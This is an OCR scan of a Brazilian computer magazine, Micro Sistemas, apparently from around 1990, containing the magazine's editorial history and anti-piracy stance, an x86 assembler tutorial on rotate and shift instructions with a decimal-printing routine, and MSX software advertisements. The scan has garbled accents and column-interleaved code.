zendo de volta a abordagem detalhada
sobre programac&o. As analises de pro-
dutos foram intensificadas, procuran
do-se atribuir um carater mais critico
a elas. Como contraponto, foi criada
uma coluna fixa sobre a criacdo de jo-
gos adventures.

Gracas a entusiastica aprovaco dos
leitores, os primeiros passos empreen-
didos na corre¢do de rumo de MS fo-
ram suficientes para conduzir a revista,
com relativa folga, até o inicio de 1988.

Ninguém imaginava, contudo, que
a travessia estivesse completa ou que
os dias seguintes seriam mais faceis.
A cambaleante economia do pais, aba-
lada por sucessivos choques, a falta
de definicdo de uma politica consis-
tente para o setor de informética e a
incessante pilhagem praticada pela pi-
rataria de software pintavam uma pai-
sagem nebulosa para o ano que co-
mecava.

MICRO SISTEMAS néo teve divi-
das: nesse quadro era urgente a defesa
da producdo original de software. Num
paralelo com o que ja sucedera com

jos nomes naturalmente ndo foram
revelados), que além de ndo verem pre-
jufzo em $uas atitudes, ainda insinua-
vam que a lei seria ineficaz porque “ndo
havia lugar nas cadeias para abrigar
todos os piratas”.

Como seria de se imaginar, o rebu-
lico foi geral. Reclamac8es pipocaram
por toda a extens&o do mar de Tortuga
e ndo fosse pelo seu carater prejudi-
cial, teriam sido comicas na época as

alegacBes, por parte dos piratas, de
que o que MS estava fazendo era an-
tiético e imoral - como se ndo houvesse
ai uma flagrante inverso de papéis.
Durante semanas MICRO SISTEMAS
recebeu todo tipo de ameacas de re-
taliagdo, bem no estilo gangster holly-
wood.

Tentativas de intimidacio 3 parte,
0 ano transcorreu sem maiores surpre-
sas e MS péde completar mais algu-
mas modificacGes previstas em seu
projeto editorial, retomando a aborda-
gem de temas polémicos como os vi-
rus de computadores (MS 79) e des-

- tinando mais espaco para as novidades

que surgiam no mercado de software
e hardware estrangeiro. Antecipando
o interesse que iriam despertar nos
usuarios dos PCs principalmente, MS
passou a pautar com maior freqlién-
cia matérias sobre aplicacdes em
dBase.

Curiosamente, pela primeira vez na
histéria de MICRO SISTEMAS um pro-
jeto terminou saindo das paginas da
revista em funcdo do enorme sucesso
alcancado. O Caderno de Jogos, que
nasceu na edicdo nimero 89 como
uma secdo onde seriam tratados os di-
versos assuntos referentes as diversdes

o setor de video, seria impossivel se
pretender um mercado minimamente
sério, com as mais elementares con-
dicBes de oferecer algum respaldo pro-
fissional, enquanto persistisse o para-
sitismo das atividades piratas.

Por ocasido da aprovacdo da lei de
software, MS destacou em suas pa-
ginas a necessidade da regulamen-
tacdo dos mecanismos de comerciali-
zacdo do software. No més seguinte
(MS 78) saia uma matéria que repro-
duzia nota do jornal “O Globo dando
conta da atividade pirata numa loja do
Rio de Janeiro.

A matéria, em si, nada mais fazia
do que caracterizar a pirataria como
o que ela passava a ser a partir daquele
momento: um ilicito penal. Chocantes,
mesmo, eram as declara¢des de alguns
piratas entrevistados pela revista (cu-

eletrénicas, em poucos meses adqui-
riu personalidade prépria e acabou se
transformando na semente de um novo
projeto editorial para o ano de 1991.

Esse elenco de mudancas possibi-
litou a MICRO SISTEMAS atravessar
1989 - outro ano dificil para a microin-
formética no pais - com certa tranqui-
lidade. Na pratica, o atraso tecnolégico
perpetuado pela reserva de mercado
acentuava cada vez mais o interesse
dos leitores pelos equipamentos estran-
geiros. MS focalizou ao longo desse
ano, obtendo sempre grande repercus-
sdo entre os leitores, as caracteristicas
de maquinas como o Amiga (que es-
gotou a edicdo 84), Macintosh e a re-
volucdo dos rhicros portateis. Falou-
-se também da utilizacdo pratica, no
Brasil, de tecnologias como a do desk-
top publishing (MS 83).
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O problema da defasagem tecnol6-
gica de nossos micros alcancava tal
ressondncia no contexto do mercado
que a equipe de MS n3o vacilou: com
0 questionamento sobre a reserva de
mercado que certamente se seguiria
a posse do governo recém-eleito, era
chegado o momento de introduzir no-
vas mudancas no perfil da revista. O
projeto editorial planejado para vigorar
a partir de marco de 90 incluia a estru-
turacdo de um corpo de colaborado-
res mais afinado com as novas carac-
teristicas do mercado; maior &nfase as
aplicacdes de software; a divulgacgo
de projetos de hardware; uma aborda-
gem mais acessivel dos micros PCs,
inclusive no que diz respeito & progra-
macdo em linguagem de maquina, um
assunto nunca abordado em outras re-
vistas; e emoldurando esse quadro, um
novo projeto grafico para a revista, que
passaria a ser inteiramente diagramada
em desktop publishing.

Dada a importéncia estratégica das

modificacdes, e ja escolados por al-
guns anos de experiéncia, optou-se
pela preparacdo de um verdadeiro es-
quema bélico para a implantacio do
novo projeto editorial. As discusstes

sobre as alteracBes a serem realizadas
foram cercadas do maior sigilo: pou-
quissimas pessoas participaram dessas
conversas, entre novembro de 89 e fe-
vereiro de 90, e somente o diretor téc-
nico da revista conhecia o conjunto
completo das modificacBes a serem
realizadas. Como cortina de fumaca
foi montado um projeto de perfil edi-
torial diferente daquele que seria efe-
tivamente adotado.

No final, o resultado de todos es-
ses esforcos foi mais do que compen-
sador: a edi¢cdo ndimero 93, que inau-
gurou a fase atual de MICRO
SISTEMAS, esgotou uma semana
apos chegar as bancas. A tiragem da
revista vem crescendo a cada més e
chega hoje a ostentar nimeros supe-
riores aqueles alcancados no periodo
81-83, que corresponde ao boom dos
microcomputadores. Isto numa época
em que a maioria das outras revistas
da area se véem obrigadas a encerrar
suas atividades. |

MICRO SISTEMAS atinge agora
a edicdo 700 mantendo a sua prin-
cipal caracteristica como revista téc-
nica: mostrar ao leitor e usudrio os
meandros do computador. Nesses
anos tornou-se uma tradicdo da re-
vista a publicacdo de assuntos tra-
tados como “proibidos” por certos
segmentos da informética.

Apesar de ser um mercado extre-
mamente dindmico, uma rapida pas-
sada pelos exemplares da colecdo
completa da revista nos mostra que,
mesmo distante alguns anos, alguns
artigos guardam ainda a sua atuali-
dade. S&o informac8es técnicas
ainda dteis nos dias de hoje.

Selecionamos uma pequena
amostragem para ilustrar isso, in-
cluindo também alguns artigos ge-
néricos e algum humor.

UNIDADES DE DISCO FLEXIVEL
Anténio Haroldo Paulino Arantes
-MS 9 e 10

LINGUAGENS DE PROGRA-
MACAO
Jodo Alexandre Magri - MS 11

SISTEMAS NUMERICOS
Orson Voerckel Galvdo - MS 12

METODOS DE ORDENACAO
Roberto Chan e Hélio Lima
Magalhdes - MS 13 e 14

AS LINGUAGENS
Edic&o especial sobre linguagens -
MS 19

AS FLEXIVEIS MEMORIAS EPROM
Vera Vaitekunas - MS 20

MICROPROCESSADQRES DE 16
BITS
Anténio Rafael Dias Teixeira - MS 22

CRIPTOGRAFIA - UMA ARMA
CONTRA PIRATAS
Candido F. da Silva - MS 24/25

O ERRO DE TRUNCAMENTO EM
BASIC
Akeo Tanabe - MS 25

AS INSTRUCOES SECRETAS DO
Z80
Jorge Mendes - MS 25

MEU CADERNO BASIC DE PRO-
GRAMAS IDIOTAS
Luis Carlos Eiras - 27

1@0 10 ANOS DE INFORMACOES TECNICAS

INTELIGENCIA ARTIFICIAL
Antonio Costa - MS 29 e 30

BRONCA CIBERNETICA
Luiz Bessa - MS 30

CALCULOS PRECISOS EM BASIC
Akeo Tanabe - MS 31

O MC 68000
Eduardo Anténio Barros da Silva
- MS 50

SISTEMAS ESPECIALISTAS
Emmanuel Lopes Passos - MS 51

OS BUGS: CRIACAO CACA E
DESTRUICAO
Pierre Lavelle - MS 59

MAQUINAS QUE CONVERSAM
Antonio Costa - MS 65

QUAL E O QI DA SUA CASA
Mary Lou Rebello - MS 76

COMPUTADOR: O ESTADO
DA ARTE
Claudio Costa - MS 77

POSTSCRIPT: UMA IMPRESSAQ
A MAIS
José Eduardo Neves - MS 78
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Assembler no PC:
rotacoes e shifts

Conheca o funcionamento das operacées de rotacdo e
deslocamento de bits e bytes

Renato Degiovani

Dominar a rotacdo de bytes pode
ser considerado como um passo a mais
em termos de programacdo Assembler.
Apesar de serem pouco usadas pelos
programadores autodidatas, essas ins-
trucbes tem uma aplicacdo bastante
significativa em rotinas aritméticas e
na conversdo e controle de cédigos
para a comunicacdo com dispositivos
de entrada e saida de dados.

Os movimentos com o0s bytes po-
dem assumir duas formas distintas: ou
eles sfo circulares (rotacdes) ou séo
lineares (shifts). Tanto os movimentos
circulares quanto os deslocamentos i-
neares podem ser efetuados para a di-
reita ou para a esquerda.

Vamos ver de perto como funcio-
nam essas instrucdes.

AS ROTACOES

As rotacBes sdo movimentos cir-
culares que podem ser restritos aos bits
do byte (ou palavra de 16 bits) ou atra-
vés do Carry Flag, isto & com o Carry
funcionando como mais um bit do
byte.

Ha uma diferenca fundamental en-
tre esses dois modos, que pode ser
bem compreendida através de esque-
mas. De qualquer modo, é sempre
bom lembrar que todos os tipos de ro-
tacBes enviam ao Carry o bit que ex-
trapolou do byte.

22 MICRO SISTEMAS

RCL - Rotate left through carry

L%

15/7 0

Para assimilar com mais facilidade
esta operacdo basta considerar que o
sentido da rotacdo é dado pelo bit que
sai do byte e ndo pelo bit que entra.
O bit mais significativo (7 ou 15) é des-
locado para o Carry e o contetido ori-
ginal do Carry passa a ser o bit menos
significativo (0). Todos os outros bits
se deslocam uma posicdo para a es-
querda.

RCR - Rotate right through carry

©

<4

15/7 0

O bit menos significativo (0) sera
deslocado para o Carry e o contetdo
original do Carry sera deslocado para

o bit mais significativo (7 ou 15). To-
dos os outros bits se deslocam uma
posicdo para a direita.

ROL - Rotate left

i 1

Na rotacdo sem o Carry, o bit mais
significativo (7 ou 15) € imediatamente
deslocado para a posicdo do bit me-
nos significativo (0). Uma cépia desse
bit & enviada ao Carry Flag. Todos os
outros bits se deslocam uma posicdo
para a esquerda.

ROR - Rotate right

c

<
Lw;? 0
.’_—

O bit menos significativo (0) é des-
locado para a posi¢do do bit mais sig-
nificativo (7 ou 15). Todos os outros
bits se deslocam uma posicdo para a
direita.




0S SHIFTS

Os deslocamentos diferem das ro-
tacdes por ndo preservarem no byte,
ou palavra de 16 bits, o bit que extra-
pola. De qualquer forma, este bit serd
sempre deslocado para o Carry Flag.

Qutra caracteristica dos desloca-
mentos é que eles podem, ou néo, pre-
servar o sinal do byte. Ma matematica
binéria, € muito comum usar o ultimo
bit de um byte, ou palavra de 16 bits,
para indicar se o valor contido nos ou-
tros bits é positivo (0) ou negativo (1).
A este bit da-se o nome de bit de sinal.

Nos deslocamentos ditos logicos,
o bit mais significativo ndo assume
essa caracteristica. Ja nos desloca-
mentos aritméticos, o bit de sinal é
sempre (teoricamente) presenvado.

SHL - Shift Logical Left

c

18/7 0

O bit mais significativo é enviado
ao Carry Flag; os outros bits sdo des-
locados a esquerda e um zero é inse-
rido no bit menos significativo. Na pra-
tica, esta operacdo equivale a
multiplicar por dois o valor do byte. O
Carry indicard consequentemente se
ocorreu overflow, ou seja, se houve
“vai um®.

SHR - Shift Logical Right

¢

15/7 0

O bit menos significativo é enviado
ao Carry Flag; os outros bits s8o des-
locados a direita e um zero é inserido
no bit mais significativo. Na pratica,
esta operacdo equivale a uma divisédo
por dois do valor do byte. Nesse caso,
o Carry indicara sempre o resto da di-
visdo (note que se o numero for im-
par, o bit menos significativo serd 1;
ap6s o SHR o Carry recebera esse 1,
que é o resto da divisdo por 2).

SAL - Shift Arithmetic Left

C

15/7 0

[

E curioso, porém essa instrucdo ndo
esta documentada em nenhum manual
do processador 8086/88. Por outro
lado, todos os autores de livros técni-
cos sobre o assunto referem-se a ela
como idéntica a instrugdo SHL. Alguns
montadores e compiladores geram in-
clusive o mesmo codigo de instrucéo.
Utilitarios, como o Turbo Debug e o
Debug do DOS, nem mesmo aceitam
a sintaxe SAL. Mais curioso ainda é
que outros processadores, como o 280,
também ndo documentam oficial-
mente tal instrucdo. No caso do chip
da Zilog, este tipo de operacdo faz
parte de um conjunto chamado de ins-
trucBes secretas do Z80.

Apesar desse fato, ndo é impossi-
vel executar uma rotacdo a esquerda
com a presenvacao do sinal, uma vez
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que o mesmo fatalmente estara a dis-
posicdo no Carry Flag. Para obter uma
operacdo SAL, deve-se usar a ins-
trugcdo SHL seguida por um desvio
condicional para entéo restabelecer o
sinal do byte.

Pode-se especular sobre o fato desta
instrucdo ndo ser documentada ape-
nas considerando que uma multipli-
cacdo sinalizada por dois estaria com-
prometida pois o bit de sinal sobreporia
o bit indicativo de overflow. Nesse
caso, ou seja, usar a instrucdo SAL
apenas como uma multiplicacdo sina-
lizada por dois seria mais inadequado
do que usar as instrucdes especificas
de multiplicacdo sinalizada do set de
instrucdes do 8086/88.

De qualquer forma, para os leitores
mais curiosos e que frequentemente
se aventuram em experiéncias extra-
-sensoriais com Assembler, adianto
que: o cédigo que definiria a instrucdo
(por exemplo) SAL AL,1 € DO FO. No
entanto forcar a execucdo de tal c6-
digo nada mais produz do que o valor
FF no registrador AL, independente-

mente do seu valor anterior 8 execucdo
da instrucdo (se duvidar, tente e com-
prove).

SAR - Shift Arithmetic Right

Carry

15/7 0

[ %

Y

Desloca o contetido do byte, ou pa-
lavra de 16 bits, para a direita preser-
vando o sinal no bit mais significativo.
Esta instruc@o existe e & aceita nor-
malmente pelos compiladores.

COMO USAR

Para usar eficientemente as rotacdes
e os deslocamentos temos que ter
sempre em mente que, para o 8086/88,

essas operacdes podem ser efetuadas
tanto a nivel de byte (registrador ou
posicdo de memoria) quanto a nivel
de palavra de 16 bits (registrador de
16 bits ou posicdo de memdria).

Qutra caracteristica intrinseca des-
sas instrucdes & que a quantidade de
rotacdes ou deslocamentos pode ser
determinada sem a necessidade de se
lancar méo de loops ou jumps condi-
cionais. A forma para isso € especifi-
car na propria instrucdo se o desloca-
mento ou rotacdo sera feito uma Unica
vez (ROL AL,1 por exemplo) ou se sera
feito tantas vezes quantas estivem es-
pecificadas no registrador CL (ROL
AX,CL por exemplo).

Apenas para ‘‘dar agua na boca”
adianto aos leitores que, para aqueles
que ja sonham com o 386, essas ins-
trucdes foram aperfeicoadas, che-
gando ao requinte de se expressar di-
retamente a quantidade de
movimentos por instrucdo (ROL AL,7
por exemplo). Em breve publicaremos
uma tabela de compatibilidade
86/286/386. E so esperar.

ROTACOES F DESLOCAMENTOS

Instrucdo Significado Ciclos Tamanho Flags afetados
ROL registrador,1 2 2 bytes 0-C
registrador,CL 8+(4*N) 2 bytes
memoria,1 15+ct 2 a 4 bytes
membria,CL 20+ct+
{4*N) 2 a 4 bytes
ROR registrador,1 2 2 bytes 0-C
registrador,CL 8+ (4*N) 2 bytes
memoria,1 15+ct 2 a 4 bytes
memoria,CL 20+ct+
{4*N}) 2 a 4 bytes
RCL registrador,] o 2 bytes 0-C
registrador,CL 8+(4*N) 2 bytes
memoria,] 15+ct 2 a 4 bytes
memoria,CL 20+ct+
{4*N) 2 a 4 bytes
RCR registrador,1 2 2 bytes 0-C
registrador,CL 8+(4*N) 2 bytes
memoria,l 15+ct 2 a 4 bytes
memoria,CL 20+ct+ :
{4*N) 2 a 4 bytes
SAL
SHL registrador,1 2 2 bytes 0-C
registrador,CL 8+(4*N) 2 bytes
rmemoria, 1 15+ct 2 a 4 bytes
meméria,CL 20+ct+
{4*N) 2 a 4 bytes
SAR registrador,1 2 2 bytes 0-C
registrador,CL 8+14*N) 2 bytes
memoria,1 15+ct 2 a 4 bytes
memaria,CL 204ct+
{4*N) 2 a 4 bytes
SHR registrador,1 2 2 bytes 0-C
registrador,CL 8+ (4*N) 2 bytes
memoria,1 16+ct 2 a 4 bytes
memoria,CL 20+ct+
{4*N} 2 a 4 bytes
== —ic
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'\_ é\ tram% nos me!horgg ‘pacoies dpmﬁsszo&,;.,.-——-ﬂ :
%,‘\ 'E'QUQ estas, implémenfaf;.oes desfacam-se n

alﬁo‘omgréimo Janelas tridimensionais, {henus 32
m alta velocidade, “Qéroil” :

'ERHB“-:? o, & . i rotinas: dé entrédd"de dados, miqﬁ1%:

u ‘mouse’, etc.
EEfREE=Ees

DRIVE: A - ~| L Ian@amos GRADIUS_ TOC)LS, que traz ufilissimas ferra-

e oo s mentas para auxiio na programacdo em GRADIUS
G-cni_ca.n.. EcH . BASIC, localizagao de dados, depuracdo de erros, manu-
. ST i mngéo do "hardware elc.

G-cALCAA.
G-FOUND . BeM
(s Para quem nunca programou e ndo entende nadd
'_‘“g'de BASIC, apresentamos GRADIUS MAKER, que gera
NN EEEANENNE RN . - aufomaticamente aguele programa que vocé tanto queria -
e REHEL LTI HR ter mais.n&o sabia como fazer.

ateeh : : £y i ettt er e s (e} SISTEMA GRADIUS também & educanvo, pais |

N S e R e L S - estimula os iniciahtes'em programacao e introduz os mais

fie i ' experientes no mundo da linguagem de maquina e no fun-

cionamento do: micro-computador, auxiliando ainda com

£ ﬁécmcas de pragramagao em BASIC, enderecos uteis da
- memoria. F!AM, rofinas da ROM e a utilizacdo da VRAM.
Todns os p!ogramas da linha GHADIUS séo abenos a0

ENTRADAS
4. 490, 08
SB8, &

5 .GRADIUS BASIG vocé recebe_l
_ GRADIUS DESK, 1 m sistema operacional facil de utilizar,
. ; Bl . 2kmde um completo manual em formato fichrio com de-
D@ gg.g: gg 2 Rer | et i §stiss tathadas informagoes sobre o programaeespago para co-

3 IS RNGEEN lecnonar as mstru;ﬁes dos demais essénos que voce.__

: i Gakitea, adqwrlr T Pt _
0 spere encontrar cépaas plratas deste progra- Y I3}
r se tralar de um software de carater educativo’ e Mas n3o termina por a -Aguam‘e outras. mwdades
baseado em informacoes técnicas, serd impossi- {5 : , g Ianqamentos baseados 5 SISI i © 4 GRADIUS;., |
-lo sem o respectivo manual. Nao deixe que o/pi- - e el ; : % %
‘engane, prefira o original'para nao precisar com-
duas vezes.




INAS 8086/88

DECIMAL

Renato Degiovani

Nesta edic8o apresento uma rotina
bastante simples para a impressdo de
valores decimais. Sua funcdo é produzir
um namero abscluto (desconsiderando
os zeros a esquerda), ou um namero

nhado a direita. Por exemplo, o valor 123
podera ser impresso das seguintes formas:

123
0123
123

Esta rotina, como esta publicada, pode
ser executada diretamente do DOS. Para

isto basta digitar DECIMAL XY,Z onde X
& o valor a ser impresso, Y a quantidade
de digitos e Z o status de impressé&o. Para
usa-la em outros programas € necessario
alterar a impress&o dos digitos (DECIMO8).

Z=0 - imprime o valor absoluto
Z=1 - imprime os zeros & esquerda
Z=32 - imprime o valor alinhado & direita

completo, ou ainda um numero ali-

ina: DECIMAL
¢ Rotina:
i
e e ==== Rotinas em A bler R Flagdl DB 0 ;Status de impressdo de zeros
; u DW 10 ;Tabela de digitos
;Renato Degiovani Julhe de 19590 atatn oW loggo i
== . 5 DW 100
;Complemento da sSérie de artigos ASSEMBLER NO PC, publicada oW 10
:na revista MICRO SISTEMAS, & partir da edigdo 95. oW 1
;Produsdo PRO KIT Informdtica e Editgra Ltda DECIMAL:
H push cs ;Segmento de dados igual
pop d= ;ac segmento de cddigos
-MODEL small ;Tipo de programa mov si,0FFSET Tabnum+l0 ;Aponta para tabela
.STACK 100h ;Tamanho e drea do stack DECIMOO:
.DATA ;Area de dados dec si
. CODE ;Infcio do programa dec @i ;Ajusta para o numero de
loop DECIMOO jdigitos desejados
INICIO: mov [Flag0l],ah ;Status de impressdo
mov bx,8lh ;Aponta para o pardmetro DECIMOL:
call VALOR ;0btém o valor do numere clc ;Limpa o carry
push dx mov cl,[si] ;0btém um valor na tabela
call VALOR :0btém a quantidade de digﬁtns ine si
push dx mov ch,[3i]
call VALOR ;0btém o status de impressdo ine =i
mov ah,dl mov al,0 ;Contador de dfgitos
Pop cx DECIMOZ:
pop bx sub bx,cx iCalcula quantos digitos
call DECIMAL ;Imprime o numero jc DECIMO3
jmp FINAL ;Retorna ac DOS inc al
jmp DECIMO2
VALOR: DECIMO3:
cmp BYTE PTR [bx], 32 :Checa se hd espacos antes add b=x,cx ;Reple valer corrigido
jnz WVALGO ;do valer cmp  al,O0
inc bx jnz DECIMOS ;Salta se nlo for zero
jmp VALOR dec cl ;Retorna se for valor 0
VALOO: mov al,30h
Xeor d=x,dx :Zera o registrador DX jnz DECIMO4
xor ch,ch jmp DECIMOE
VALOL: DECIMO4:
mev ¢l,[bx] ;Obtém um dfagito mov al,[Flag0l] ;Checa se € para descon—
inc bx ;Prdzximo digito cmp  al,l ;siderar o zero
aub el,30h :Calcula o valor do digite 3z DECIMO1
je  VALOZ ;Retorna case o dfgito seja inc el
cmp cl,10 ;menor que 0 ou maior gque 9 cmp al,32 ;Checa se € alinhado a
jne VALOZ jz DECIMOG jdireita
mov ax,l0 ;Base dez mov al,0 ;Imprime um zZero
mul dx ;Multiplica por 10 DECIMOS:
mov dx,ax ;Transfere o produto para dx add al,30h
add dx,cx iCaleula o Ultime digito mov [Flag0l],al ;Usa o digito como statua
jmp VALOL DECIMOG:
VALOZ: dec cl ;Imprime e continua
= ret ;Final da rotina jnz DECIMO7
jmp DECIMO8 ;Imprime e retorna
FINAL: DECIMO7:
mov ah,4Ch ;Encerra a operagio call DECIMOS
int 21lh ;e retorna ao DOS jmp DECIMOl
DECIMOB:
B -— - push ax .Salva os registradores
;Rotina DECIMAL push dx
5 mov dl,al
= Iprime o valor de registrador BX como um valor decimal, mov ah, 2 ;Imprime o caracter
scom a gquantidade de digitos definidqg em CX e com o status int. Z1lh i}
;de impressdo dos zeros i esgquerda em AH. pop dx ;Recupera regisztradores
2 pop ax
;Se ah = 0 imprime o valer absoluto ret
;52 ah =1 imprime os zZeros a esquerda
;Se ah = 32 imprime o valor abscluto alinhado & direita : R e e T T
; END
a
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NEMESIT

0 MELHOR PARA SEU MSX E MSX2 VOCE ENCONTRA NA NEMESIS

0 LANCAMENTO DO ANO:
GRADIUS SYSTEM 1.0
Um novo mundo para seu MSX!

GRADIUS BASIC 1.0 impl tanovo visuale noves comandos para MSX CrS 6.800,00
GRADIUS FILES 1.0. nuvus comandos adicionzis para o GRADIUS BASIC Cr% 220000
GRADIUS TOOLS 1.0 de pr cao para o GRADIUS BASIC (CONSULTE)
GRADIUS MAKER 1.0 geradar atico de p em GRADIUS BASIC (CONSULTE)

NEMESIS - NOVIDADES EM APLICATIVOS E UTILITARIOS

FLASH BASIC COMPILER ...oooveeeeecens Acelera seu programa em BASIC em até 60 vezes .. £rS 2.800,00
MSX TURBO FORMAT Formata di para 5 vezes mals rapido

Crs 1.80000
“ KIT VIDEO LOCADORA ....o...oo........ .. Controle total de locadoras profissionais de video . Cr% 3.800,00

HIT MICRO EMPRESA .
MSX GRAPHIC TOOLS .
MSX PRINTER TOOLS .

Editor de textos, Mala direta, Fichario eletranico, etc. (CONSULTE]
Uma colecae de utilitarios para edicdo grafica no MSX (CONSULTE)
Uma colecao de ferramentas para uso comimpressora (CONSULTE)

EASY BACK-UP ... 0 mais simples e versatil copiador de discos para MSX [CONSULTE)
TALKER .. Digitalizador e sintetizador de voz, musica e sons ... (CONSULTE)
NEMESIS - PROGRAMAS UTILITARIOS
MSX-DO5 TOOLS PLUS fer as para auxilio na programacao CrS 1.80000
MSX HELLO! 1.0 (versao 5 1/ .. multi-utilitario para uso com disk-drive . Crs 1.800,00
MSX HARDCOPY 1.1 utilitario para impressaoc de graficos ... . CrS 1.800.00
EASY GRAPH . poderoso editor grafico com recursos ineditos ....... Crs 2.800,00
NEMESIS - PROGRAMAS APLICATIVOS
MSX TOP CAD - 5ENSacional editor de projetos profissionais . Cr% 3.800.00
MALA DIRETA MSX 1.1 .. - cadastro de clienies para 7.000 registros Cry 2.800,00
MSX-5aM VOICE SYNTHETIZER ., sintetizador de voz com 1 canal de som .. rS 180000
MSX CHART 1.0 ... graficos comerciais e estatiscos . Cr% 180000
MSX PORTIFOLIO 1.0 .. -~ 3genca eletronica ! lista telefonica Cr$ 180000
| CHING hordsce chinés no computador ... Crs 1.800.00
TEXTO TOTAL 1.0 [GRAFIX MTA] - poderoso processador de textos para MTA Crs 2.800.00
TEXTO TOTAL 1.0 (ELGIN LADY 80/90! ... poderoso processador de teatos com graficos ...... Crs 280000
NEMESIS - DESK-TOP PUBLISHING NO MSX
MSX PAGE MAKER 1.5 ... .- editor de paginas com textos e graficos .. Crs 1.800,00
MSX PAGE MAHER FONTES 1 - 22 diferentes letras para o PAGE MAKER .. Cr$ 500,00
MSX PAGE MAKER FONTES 2 + 22 diferentes letras para o PAGE MAKER .. Cr$% 250.00
MSX PAGE MAKER FONTES 3 - 22 diferentes letras para o PAGE MAKER .. Cr$ 500,00
MSX PAGE MAKER FONTES & ... - 22 diferentes letras para o PAGE MAKER .. Crs 500,00
MSX PAGE MAKER CARTOONS 1. - diversas figuras para sua pagina graica CrS 500,00
MSX PAGE MAKER CARTOONS 2 . - diversas figuras para sua pagina grafica Cr$ 500,00
MSX PAGE MAKER TITLES 1 alfabetos g para titulos e destaques .. Crs 500,00
-MSX PAGE MAKER SQUARES 1 dif Id adornos e vinhet Cr$ 500,00
MSX PAGE MAKER KIT ... PAGE MAKER com todos SEUS 3CeSSOMI0S e s, Cr$ 5.000.00

NEMESIS CLIP-ART:

LIMA COLECAQ COM CENTENAS DE FIGURAS INEDITAS PARA MSX PAGE MAKER OU GRAPHOS i1
4 DISCOS REPLETOS DE “SHAPES™ POR APENAS Cr% 2.500,00

NEMESIS CLIP-ART Il

OUTRA COLECAO COM CENTENAS DE FIGURAS INEDITAS PARA MSX PAGE MAKER OU GRAPHOS (il
MAIS 4 DISCOS REPLETOS DE “SHAPES” POR APENAS Cr$ 2.500,00

NEMESIS - J0G0S E PROGRAMAS EDUCATIVOS

CHAVE MESTRA de programs bl d CrS 2.800.00

VERSOR copiador super rapido de disquetes . . Cr$ 2.800,00
CADEMP cadastro de empresas profissional ... . Cr$ 380000
CADCLI 2.0 cadastro de cli I'mala direta profissional ... Cr$ 380000

NEMESIS (THE GAME) super jogo. agora em 3 1/2 e para EXPERT DDPLUS Cr$ 1.80000

M.P0. SOFT VIDEO - CARTUCHOS E VIDEOS EDUCATIVOS EM VHS

DOMINANDO O MSX p t do MSX e seus periféricos ... .. Cr$ 650000
CURSO DE BASIC 1 i a0 3 progr; 2o basic no MSX .. Cr$ £.500,00
CURSO DBASE Il ... .uma aula particular de DEASE Il em video . Cr$ 6.500.00

Cr$ 280000
Cr$ 3.800,00
.. Cr$ 3.800,00

_editor de textos em cartucho ..
-editor de musica em cartucho .
..-super acelerador para seu MSX ...

MSX WRITE 1.0 .
EDITOR MUSICAL ..
MSX TUREO DEVICE .

GAME MASTER 0 maximao p dos seus jogos {em cartucho) ... €rS 3.800.00
EDDY Il ensacional editor grafico em cartucho ............... Cr$ 380000
MSX LOGO ...a melhor LINGUAGEM LOGO em cartucho ............... Cr$ 3.800.00
SOFT-0-MATIC (SHAREWARE) - PROGRAMAS APLICATIVOS
BANCO DE DADOS
MSX DATA BASE 1.1 fichario eletronico facil de usar . €r3 800,00

MSX DATA BANK 1.2 .. banco de dados com campos redefinivels .. . Cr$ 800,00
MSX EASY DATA 1.0 .. - cadastro redefinivel facil de usar ........ . Gr$ 800,00
STOCK CONTROL 2.0 . controle de estogues profissional Cr$ 800,00
CONTAS A PAGAR/RECEBER ... ... controle de fluxe/duplicatas e contas em geral ... Cr$ 800.00
EDITORES GRAFICOS
EDDY 1 ... --- editor grafico facil de usar . Cr$ 800,00
EDDY 2 editor grafica com maltiplos recursos . €rS 800,00
CHEESE ... editor grafice facil de usa: . Crs 800,00
GRAPHIC MASTER .. editor grafico com “shapes” exclusivos Crs 800,00
YAMAHA GRAPKIC ARTIST editor gréfico com variados recursos .. . Cr$ 800.00
AACKODRAW & PAINT poderoso aditor grafico com letras e texturas . Cr$ 840,00
T-PAINT 1.2 editor grafico facil de usar . Cr% B00.00
THE DESIGNER'S PENCIL .. ... mais que um simples editor grafica . . Cr$ B00.00
THE MAGIC PAINT .. .. famoso editor grafico do Apple agora para MSX Crs 800.00
PROCESSADORES DE TEXT0S
AACKOSCRIBE .. eficiente editor de textos com 40 ou 80 colunas ...... Crs 800,00
THE BANK STREET WRITER processador de textos de facil utilizaco ....... Crs 800,00
MSX WRITE 30 ... a nova versao do mais fomoso editor para MSX ... Cr$ 800,00
PRINT-X-PRESS i ... .. editor de “desk-top publishing” para seu MSX ... Cr$ 800,00
EDITORES MUSICAIS
MUSIC STUDIO G7 - poderoso editor musical com recursos inédito ... Cr$ 80000
PSG MUSIC WRITER .. ... editor de misica com ritimos variados . Cr% 80000
SUPER SYNTH ... pod sintetizad Cr3 800,00
THE MUSIC EDITOR ........ editor de musica de facil manuseio . Cr$ 800,00
ELETRIC SOUND STUDIO - poderoso sintetizador de sons e efeitos musicals ..... Cr$ 00,00
UTILITARIOS DIVERS0S
SUPER COPY 7.1 ....... piador de programas de fitas cassete a disco ... Crs 800,00
KNIGHT COMMAND 20 ... - poderoso auxiliar para programacao com MSX Cr$ 800,00
D.0.5. HELP .. .- auxilia no uso do MSX com “disk-drive” .. Crs 800,00
DISK-T .. . facmta 2 operacao do MSX com “disk-driv Cr$ 800,90
MSX DUAD 7.4 .. bler ! di . editor, etc. ... Cr5 800,00

PROGRAMAS DE USO GERAL

MSX GAME DESIGNER ..
STAR SEEKER ..........

.. Cr$ 800,00
Cr$ 800,00

faca os Seus praprios jogos com facilidade .. :
para da ashrnnowa =

Progr

0 CONDE DE MONTE CRISTO ...ooovvvvooe, aventura conversacional em portugués ., . Cr$ 80000  PRINT SEXY SHOP impri; nuas com sua impressora .. CiS 800,00
MENPHIS | em portugues .. Cr$ 80000  PSYCHEDELIA ... impr efeitos graficos no seu MSX . .. Cr$ 80000
A GRUTA DE MAQUINE e aventura conversacional em portugues . .. Cr$ 8OC00 N
AUTO KIT : g1 educativo para criancas .. . Cr$ 800,00 SUPER VIDEO GAMES PARA MSX1 (NORMAL)
FARM KIT ......... g educativo para criancas .. . Cr$ 860,00
RAMEBO Il B do no grande do cinema (s6 em 5 1/4} Cr$ 500,00
YOUNGSOFT - APLICATIVOS E UTILITARIOS BATMAN (THE MOVI B do no grande sucesso do cinema (s6 em 5 1/4) Cr% 500,00
GHOSTBUSTERS II - no grande do cinema (sd em 5 1/4} Cr$ 500,00
